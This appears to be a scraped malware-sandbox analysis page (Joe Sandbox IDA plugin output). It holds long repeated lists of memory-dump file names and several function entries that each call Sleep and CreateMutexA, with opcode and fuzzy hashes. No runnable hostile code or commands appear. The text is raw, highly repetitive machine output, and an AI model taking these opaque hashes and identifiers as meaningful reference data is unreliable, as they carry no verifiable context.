Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 27d05c2ada9e6ecc430eb3921ea799ea15cf89da5ccef7d9c37a7535b66876da
Instruction ID: 10330124e4bf8894bd6876f468acc587ff32814da4e64f354b170958adae3e85
Opcode Fuzzy Hash: 27d05c2ada9e6ecc430eb3921ea799ea15cf89da5ccef7d9c37a7535b66876da
Instruction Fuzzy Hash: 353148316042889BEB0CEB7DDC89B6DBB62FFC7710F208219E124E76D1D775A9809752

Function 008EA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d3b768ce4d6db1deb92f23dd64fdc3d92aabfbe51d9281f3806fbaf251778680
Instruction ID: dd64889b2d42eddecd12a95080af6b012198c1746e060a62b44da74ea4901298
Opcode Fuzzy Hash: d3b768ce4d6db1deb92f23dd64fdc3d92aabfbe51d9281f3806fbaf251778680
Instruction Fuzzy Hash: C0315C317001488BEB0CAB7DD889B6DBA62FFD3714F204218E064D73D6D775A9C09656

Function 008EA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e4b0684fcd160d102a0bddeb10ba2a478ae89fca6d27c9a7ed004cc80ce738ba
Instruction ID: a0dc65c8e692cb17fae31147e8d5018f86450e7420d4a230dbb93fa0ae8afded
Opcode Fuzzy Hash: e4b0684fcd160d102a0bddeb10ba2a478ae89fca6d27c9a7ed004cc80ce738ba
Instruction Fuzzy Hash: 73313B316001488BEB0CEBBDCCC5B6DBB62FBC7714F248218E064DB6D2C775A9809752

Function 008EA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786009156.0000000000BF8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bcd7df34f74a295d652c022a1d0c7bd04b10b8162d566aeb1cb6de7182444270
Instruction ID: ac3411592cf6ee11183581d9461000faec9dd63a0a150fcfa21ad7cc8ea409b3
Opcode Fuzzy Hash: bcd7df34f74a295d652c022a1d0c7bd04b10b8162d566aeb1cb6de7182444270
Instruction Fuzzy Hash: 95314A316002888BEB1CEB7DCC85B6DBB62FBD3714F248218E064D76E2D775A9809652

Function 008E9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008EA963
CreateMutexA.KERNEL32(00000000,00000000,00943254), ref: 008EA981

Memory Dump Source

Source File: 00000000.00000002.1784955093.00000000008E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008E0000, based on PE: true

Associated: 00000000.00000002.1784942184.00000000008E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1784955093.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785013847.0000000000949000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785030926.000000000094B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785046028.0000000000957000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785136788.0000000000AA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785156587.0000000000AA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785177353.0000000000AC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785190504.0000000000AC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785214639.0000000000AC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785228147.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000AC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785241427.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785266929.0000000000AD0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785281584.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785293535.0000000000AD2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785305773.0000000000AD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785319740.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785338207.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785351220.0000000000AE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785371328.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785394068.0000000000AFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785417878.0000000000B0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785437158.0000000000B0E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785455181.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785476289.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785506719.0000000000B1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785528626.0000000000B28000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785542860.0000000000B2B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785570995.0000000000B2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785585596.0000000000B34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785605026.0000000000B35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785620513.0000000000B39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785639565.0000000000B51000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785659085.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785680101.0000000000B5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785693383.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785719588.0000000000B61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732990.0000000000B64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785751241.0000000000B65000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785765659.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785780599.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785794921.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785812137.0000000000B7C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785834224.0000000000BAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785878841.0000000000BDF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785895363.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785907987.0000000000BE2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785935901.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785949417.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785971464.0000000000BF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785984264.0000000000BF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785996934.0000000000BF7000.00000040.00000001.01000000.00000003.sdmpDownload File
